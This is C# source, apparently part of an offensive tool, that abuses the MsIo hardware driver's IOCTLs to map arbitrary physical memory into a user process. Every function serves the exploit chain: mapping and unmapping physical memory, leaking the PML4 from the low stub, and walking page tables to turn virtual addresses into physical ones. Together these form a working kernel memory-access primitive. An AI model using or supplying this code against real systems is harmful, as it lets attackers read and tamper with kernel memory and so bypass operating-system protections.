public static Boolean MsIoUnmapMemory(IntPtr hDriver, APIDef.MSIO_PHYSICAL_MEMORY_INFO MemMapInfo) { IntPtr pMpmi = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(APIDef.MSIO_PHYSICAL_MEMORY_INFO))); APIDef.RtlZeroMemory(pMpmi, Marshal.SizeOf(typeof(APIDef.MSIO_PHYSICAL_MEMORY_INFO))); Marshal.StructureToPtr(MemMapInfo, pMpmi, true); APIDef.IO_STATUS_BLOCK isb = new APIDef.IO_STATUS_BLOCK(); UInt32 CallRes = APIDef.NtDeviceIoControlFile( hDriver, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref isb, APIDef.IOCTL_MSIO_UNMAPPHYSADDR, pMpmi, (UInt32)Marshal.SizeOf(typeof(APIDef.MSIO_PHYSICAL_MEMORY_INFO)), pMpmi, (UInt32)Marshal.SizeOf(typeof(APIDef.MSIO_PHYSICAL_MEMORY_INFO))); // Free alloc Marshal.FreeHGlobal(pMpmi); if (CallRes != APIDef.NTSTATUS_STATUS_SUCCESS) { return(false); } else { return(true); } }
public static void TranslateVirtToPhys(IntPtr VirtualAddress) { Boolean bChecks = PreFlightChecks(); if (!bChecks) { return; } IntPtr hDriver = Handler.GetDriverHandle(); if (hDriver == IntPtr.Zero) { return; } else { Console.WriteLine("[*] MsIO driver handle: " + hDriver); } // Leak PML4 Console.WriteLine("[?] Leaking PML4.."); APIDef.MSIO_PHYSICAL_MEMORY_INFO MemAlloc = Handler.MsIoAllocatePhysicalMemory(hDriver, IntPtr.Zero, 0x100000); if (MemAlloc.BaseAddess == IntPtr.Zero) { Console.WriteLine("[!] Failed to allocate physical memory.."); Handler.FreeObjectHandle(hDriver); return; } IntPtr PML4 = Handler.Getx64LowStub(MemAlloc.BaseAddess); Handler.MsIoUnmapMemory(hDriver, MemAlloc); if (PML4 == IntPtr.Zero) { Console.WriteLine("[!] Failed to find PML4 value.."); Handler.FreeObjectHandle(hDriver); return; } else { Console.WriteLine("[+] PML4 in lowstub --> " + string.Format("{0:X}", PML4.ToInt64())); } Console.WriteLine("[?] Converting VA -> PA"); IntPtr pVAtoPhys = Handler.TranslateVirtualToPhysical(hDriver, PML4, VirtualAddress); if (pVAtoPhys == IntPtr.Zero) { Console.WriteLine("[!] Failed translate VA to physical address.."); return; } else { Console.WriteLine(" |-> PhysAddress: " + string.Format("{0:X}", pVAtoPhys.ToInt64())); } }
public static IntPtr TranslateVirtualToPhysical(IntPtr hDriver, IntPtr PML4, IntPtr VirtualAddress) { IntPtr pTable = (IntPtr)((UInt64)PML4.ToInt64() & APIDef.PHY_ADDRESS_MASK); for (int i = 0; i < 4; i++) { Int32 iShift = 39 - (i * 9); IntPtr pSelector = (IntPtr)((VirtualAddress.ToInt64() >> iShift) & 0x1ff); IntPtr pAddress = (IntPtr)(pTable.ToInt64() + (pSelector.ToInt64() * 8)); APIDef.MSIO_PHYSICAL_MEMORY_INFO PhysAlloc = MsIoAllocatePhysicalMemory(hDriver, pAddress, (uint)IntPtr.Size); if (PhysAlloc.BaseAddess == IntPtr.Zero) { return(IntPtr.Zero); } // Verify entry is present IntPtr Entry = (IntPtr)Marshal.ReadInt64((IntPtr)(PhysAlloc.BaseAddess.ToInt64() + pAddress.ToInt64())); if (((UInt64)Entry & APIDef.ENTRY_PRESENT_BIT) != 1) { MsIoUnmapMemory(hDriver, PhysAlloc); return(IntPtr.Zero); } else { pTable = (IntPtr)((UInt64)Entry & APIDef.PHY_ADDRESS_MASK); } // Dealloc MsIoUnmapMemory(hDriver, PhysAlloc); // Is 2mb page size? if ((i == 2) && (((UInt64)Entry.ToInt64() & APIDef.ENTRY_PAGE_SIZE_BIT) != 0)) { pTable = (IntPtr)((UInt64)pTable.ToInt64() & APIDef.PHY_ADDRESS_MASK_2MB_PAGES); pTable = (IntPtr)((UInt64)pTable.ToInt64() + ((UInt64)VirtualAddress.ToInt64() & APIDef.VADDR_ADDRESS_MASK_2MB_PAGES)); return(pTable); } } // 4kb pages pTable = (IntPtr)((UInt64)pTable.ToInt64() + ((UInt64)VirtualAddress.ToInt64() & APIDef.VADDR_ADDRESS_MASK_4KB_PAGES)); return(pTable); }
public static APIDef.MSIO_PHYSICAL_MEMORY_INFO MsIoAllocatePhysicalMemory(IntPtr hDriver, IntPtr BaseAddress, UInt32 Size) { APIDef.MSIO_PHYSICAL_MEMORY_INFO mpmi = new APIDef.MSIO_PHYSICAL_MEMORY_INFO(); mpmi.ViewSize = (UIntPtr)(BaseAddress.ToInt64() + Size); IntPtr pMpmi = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(APIDef.MSIO_PHYSICAL_MEMORY_INFO))); APIDef.RtlZeroMemory(pMpmi, Marshal.SizeOf(typeof(APIDef.MSIO_PHYSICAL_MEMORY_INFO))); Marshal.StructureToPtr(mpmi, pMpmi, true); APIDef.IO_STATUS_BLOCK isb = new APIDef.IO_STATUS_BLOCK(); UInt32 CallRes = APIDef.NtDeviceIoControlFile( hDriver, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref isb, APIDef.IOCTL_MSIO_MAPPHYSTOLIN, pMpmi, (UInt32)Marshal.SizeOf(typeof(APIDef.MSIO_PHYSICAL_MEMORY_INFO)), pMpmi, (UInt32)Marshal.SizeOf(typeof(APIDef.MSIO_PHYSICAL_MEMORY_INFO))); if (CallRes != APIDef.NTSTATUS_STATUS_SUCCESS) { // Free alloc Marshal.FreeHGlobal(pMpmi); // Make sure baseaddress is null mpmi.BaseAddess = IntPtr.Zero; return(mpmi); } else { // Ptr->Struct mpmi = (APIDef.MSIO_PHYSICAL_MEMORY_INFO)Marshal.PtrToStructure(pMpmi, typeof(APIDef.MSIO_PHYSICAL_MEMORY_INFO)); // Free alloc Marshal.FreeHGlobal(pMpmi); return(mpmi); } }